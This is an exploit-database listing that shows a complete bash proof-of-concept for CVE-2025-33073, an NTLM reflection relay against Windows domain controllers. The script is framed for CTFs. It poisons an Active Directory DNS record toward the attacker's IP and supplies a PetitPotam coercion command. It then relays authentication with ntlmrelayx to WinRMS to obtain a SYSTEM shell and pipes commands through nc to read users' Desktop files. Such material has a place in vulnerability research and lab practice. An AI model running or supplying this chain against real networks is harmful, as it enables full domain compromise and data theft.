Exploit database

GH-cc90859fadaa6dc8f04605aaa6d1a7bd

uziii2208/cve-2025-33073

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-33073

38 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3
uziii2208/cve-2025-33073Revision 07638cb5e6c7

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.sh

Shell · 9,252 bytes
#!/bin/bash
# =============================================================================
# UCVE-2025-33073 Reflection Relay PoC - CTF Friendly
# Author: 0pwn (uziii2208) + AI Enhanced
# Version: 1.0 (UNIVERSAL • ANY DOMAIN • ANY USER • AUTO-DETECT FLAGS)
# Target: Windows DC with DNSAdmins + WinRM
# Result: SYSTEM shell + Auto flag extraction
# =============================================================================

set -euo pipefail
IFS=$'\n\t'

# === COLORS ===
if [[ -t 1 ]]; then
    RED='\e[0;31m'
    GREEN='\e[0;32m'
    YELLOW='\e[1;33m'
    BLUE='\e[0;34m'
    PURPLE='\e[0;35m'
    CYAN='\e[0;36m'
    BOLD='\e[1m'
    NC='\e[0m'
else
    RED='' GREEN='' YELLOW='' BLUE='' PURPLE='' CYAN='' BOLD='' NC=''
fi

# === GLOBALS ===
SCRIPT_NAME="$(basename "$0")"
LONGHOST="localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA"
DOMAIN="" TARGET_IP="" ATTACKER_IP="" USERNAME="" PASSWORD="" RECORD=""
LOG_DIR=""
RELAY_LOG=""
COERCE_PRINTED=0
SHELL_PORT=""

# === LOGGING ===
log() { printf "${CYAN}[*] %b${NC}\n" "$1"; }
success() { printf "${GREEN}[+] %b${NC}\n" "$1"; }
warn() { printf "${YELLOW}[!] %b${NC}\n" "$1"; }
error() { printf "${RED}[x] %b${NC}\n" "$1"; }
die() { error "$1"; exit 1; }

# === BANNER ===
banner() {
    clear
    cat << 'EOF'
  ██████╗ ██████╗ ██╗    ██╗███╗   ██╗
 ██╔═══██╗██╔══██╗██║    ██║████╗  ██║
 ██║   ██║██████╔╝██║ █╗ ██║██╔██╗ ██║
 ██║   ██║██╔═══╝ ██║███╗██║██║╚██╗██║
 ╚██████╔╝██║     ╚███╔███╔╝██║ ╚████║
  ╚═════╝ ╚═╝      ╚══╝╚══╝ ╚═╝  ╚═══╝
      Universal CVE-2025-33073 PoC
      Works on ANY domain, ANY user, ANY CTF
EOF
    printf "${PURPLE}          Interactive • Universal • v1.1${NC}\n\n"
}

# === VALIDATION ===
validate_ip() { [[ $1 =~ ^([0-9]{1,3}\.){3}[0-9]{1,3}$ ]] || return 1; }
validate_domain() { [[ $1 =~ ^[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$ ]] || return 1; }

# === TOOL CHECK ===
check_tools() {
    local missing=()
    for cmd in python3 ntlmrelayx.py nxc nc nslookup; do
        command -v "$cmd" >/dev/null 2>&1 || missing+=("$cmd")
    done
    [[ -f "./krbrelayx/dnstool.py" ]] || missing+=("krbrelayx/dnstool.py")
    [[ ${#missing[@]} -eq 0 ]] && return 0
    error "Missing tools: ${missing[*]}"
    echo "Install with:"
    echo "  pip3 install impacket netexec"
    echo "  git clone https://github.com/dirkjanm/krbrelayx"
    exit 1
}

# === INPUT ===
get_input() {
    log "Gathering target information..."

    printf "${YELLOW}[>] Attacker IP (auto-detect if blank): ${NC}"
    read -r ATTACKER_IP
    ATTACKER_IP=${ATTACKER_IP:-$(hostname -I | awk '{print $1}' 2>/dev/null || ip route get 1 | awk '{print $7; exit}' || echo "10.10.10.XX")}
    validate_ip "$ATTACKER_IP" || die "Invalid attacker IP."

    printf "${YELLOW}[>] Target DC IP: ${NC}"
    read -r TARGET_IP
    validate_ip "$TARGET_IP" || die "Invalid DC IP."

    printf "${YELLOW}[>] Domain (e.g. corp.local): ${NC}"
    read -r DOMAIN
    validate_domain "$DOMAIN" || die "Invalid domain."

    printf "${YELLOW}[>] Username (DNSAdmins member): ${NC}"
    read -r USERNAME

    printf "${YELLOW}[>] Password: ${NC}"
    read -rs PASSWORD
    echo
    [[ -n "$PASSWORD" ]] || die "Password required."

    RECORD="${LONGHOST}.${DOMAIN}"
    LOG_DIR="/0pwn_exploit_$(date +%s)"
    RELAY_LOG="$LOG_DIR/relay.log"
}

# === DISPLAY CONFIG ===
show_config() {
    printf "\n${BOLD}Exploit Configuration:${NC}\n"
    printf "  Attacker IP   : ${GREEN}%s${NC}\n" "$ATTACKER_IP"
    printf "  Target DC     : ${GREEN}%s${NC}\n" "$TARGET_IP"
    printf "  Domain        : ${GREEN}%s${NC}\n" "$DOMAIN"
    printf "  User          : ${GREEN}%s${NC}\n" "$USERNAME"
    printf "  DNS Record    : ${GREEN}%s${NC}\n" "$RECORD"
    printf "  Log Dir       : ${GREEN}%s${NC}\n\n" "$LOG_DIR"

    printf "${YELLOW}[?] Proceed? (y/N): ${NC}"
    read -r confirm
    [[ "$confirm" =~ ^[Yy]$ ]] || die "Aborted by user."
}

# === SETUP LOGS ===
setup_logs() {
    mkdir -p "$LOG_DIR"
    > "$RELAY_LOG"
}

# === DNS POISONING ===
poison_dns() {
    log "Poisoning DNS: $RECORD → $ATTACKER_IP"
    if python3 krbrelayx/dnstool.py \
        -u "${DOMAIN}\\${USERNAME}" -p "$PASSWORD" \
        -dc-ip "$TARGET_IP" -dns-ip "$TARGET_IP" \
        -a modify -d "$ATTACKER_IP" -r "$LONGHOST" "$DOMAIN" > "$LOG_DIR/dns.log" 2>&1; then
        success "DNS record modified."
    else
        log "Adding new record..."
        if python3 krbrelayx/dnstool.py \
            -u "${DOMAIN}\\${USERNAME}" -p "$PASSWORD" \
            -dc-ip "$TARGET_IP" -dns-ip "$TARGET_IP" \
            -a add --allow-multiple -d "$ATTACKER_IP" -r "$LONGHOST" -t A "$DOMAIN" >> "$LOG_DIR/dns.log" 2>&1; then
            success "DNS record added."
        else
            error "DNS poisoning failed."
            cat "$LOG_DIR/dns.log"
            exit 1
        fi
    fi

    log "Verifying DNS..."
    sleep 5
    resolved=$(nslookup "$RECORD" "$TARGET_IP" 2>/dev/null | grep -A1 "Name:" | tail -n1 | awk '{print $2}' || echo "")
    [[ "$resolved" == "$ATTACKER_IP" ]] && success "DNS OK" || die "failed: $resolved"
}

# === PRINT COERCE COMMAND ===
print_coerce_command() {
    printf '\e[1;33m\n'
    printf '===================================================================\n'
    printf '[COERCE COMMAND] COPY & RUN IN A NEW TERMINAL:\n'
    printf '===================================================================\e[0m\n'
    printf '\e[1mnxc smb %s -u '\''%s'\'' -p '\''%s'\'' \\\e[0m\n' "$TARGET_IP" "$USERNAME" "$PASSWORD"
    printf '    -M coerce_plus -o METHOD=PetitPotam LISTENER=%s\e[0m\n' "$LONGHOST"
    printf '\e[1;33m===================================================================\e[0m\n\n'
}

# === AUTO FLAG EXTRACTION ===
run_shell_commands() {
    {
        echo "whoami"
        sleep 2
        echo "hostname"
        sleep 1
        echo "whoami /priv | findstr SeImpersonate SeTakeOwnership SeDebug"
        sleep 1
        echo "net user %USERNAME%"
        sleep 1
        echo "dir C:\\Users"
        sleep 2

        # Tìm tất cả Desktop có file flag
        echo "powershell \"Get-ChildItem -Path 'C:\\Users\\*\\Desktop' -Include '*flag*.txt','*root*.txt','*user*.txt','proof.txt' -File -ErrorAction SilentlyContinue | Select-Object FullName\""
        sleep 3

        # Lấy nội dung từng file
        echo "powershell \"Get-ChildItem -Path 'C:\\Users\\*\\Desktop' -Include '*flag*.txt','*root*.txt','*user*.txt','proof.txt' -File -ErrorAction SilentlyContinue | ForEach-Object { Write-Output \"=== \$_.FullName ===\"; Get-Content \$_.FullName; Write-Output \"\" }\""
        sleep 3

        echo "exit"
    } | nc 127.0.0.1 "$SHELL_PORT" 2>&1 | tee "$LOG_DIR/shell_output.log"
}

# === MAIN ===
main() {
    banner
    check_tools
    get_input
    show_config
    setup_logs
    poison_dns

    printf '\n\e[0;32m[+] DNS OK → READY FOR RELAY\e[0m\n'
    printf '\e[1;33m────────────────────────────────────────────────────────────────────\e[0m\n'
    printf '\e[1mSTEP 1: Press ENTER → ntlmrelayx.py runs here\e[0m\n'
    printf '\e[1mSTEP 2: Wait for [RELAY] Servers started... → open new terminal\e[0m\n'
    printf '\e[1mSTEP 3: Paste COERCE command → Enter\e[0m\n'
    printf '\e[1mSTEP 4: Auto-detect & extract ALL flags\e[0m\n'
    printf '\e[1;33m────────────────────────────────────────────────────────────────────\e[0m\n\n'

    printf "\n${YELLOW}[?] Press ENTER to start relay...${NC}"
    read -r

    print_coerce_command

    printf "${YELLOW}→ Starting ntlmrelayx.py...${NC}\n\n"

    ntlmrelayx.py -smb2support -t "winrms://$TARGET_IP" -i 2>&1 | tee "$RELAY_LOG" | \
    while IFS= read -r line; do
        printf "${BLUE}[RELAY]${NC} %s\n" "$line"

        if [[ $COERCE_PRINTED -eq 0 ]] && echo "$line" | grep -q "Servers started, waiting for connections"; then
            printf '\n\e[0;32m[!] RELAY READY! OPEN NEW TERMINAL → PASTE COERCE COMMAND!\e[0m\n\n'
            COERCE_PRINTED=1
        fi

        if echo "$line" | grep -q "Started interactive WinRMS shell"; then
            SHELL_PORT=$(echo "$line" | grep -o "127\.0\.0\.1:[0-9]\+" | head -n1 | cut -d: -f2)
            if [[ -n "$SHELL_PORT" ]]; then
                success "SYSTEM SHELL OPENED: 127.0.0.1:$SHELL_PORT"
                printf "${GREEN}Running auto-flag detection...${NC}\n\n"
                sleep 2

                run_shell_commands

                printf "\n${GREEN}[+] ALL FLAGS EXTRACTED!${NC}\n"
                printf "${CYAN}[*] Full output: $LOG_DIR/shell_output.log${NC}\n"
                log "Exploit completed. Check logs in: $LOG_DIR"
                exit 0
            fi
        fi
    done
}

main "$@"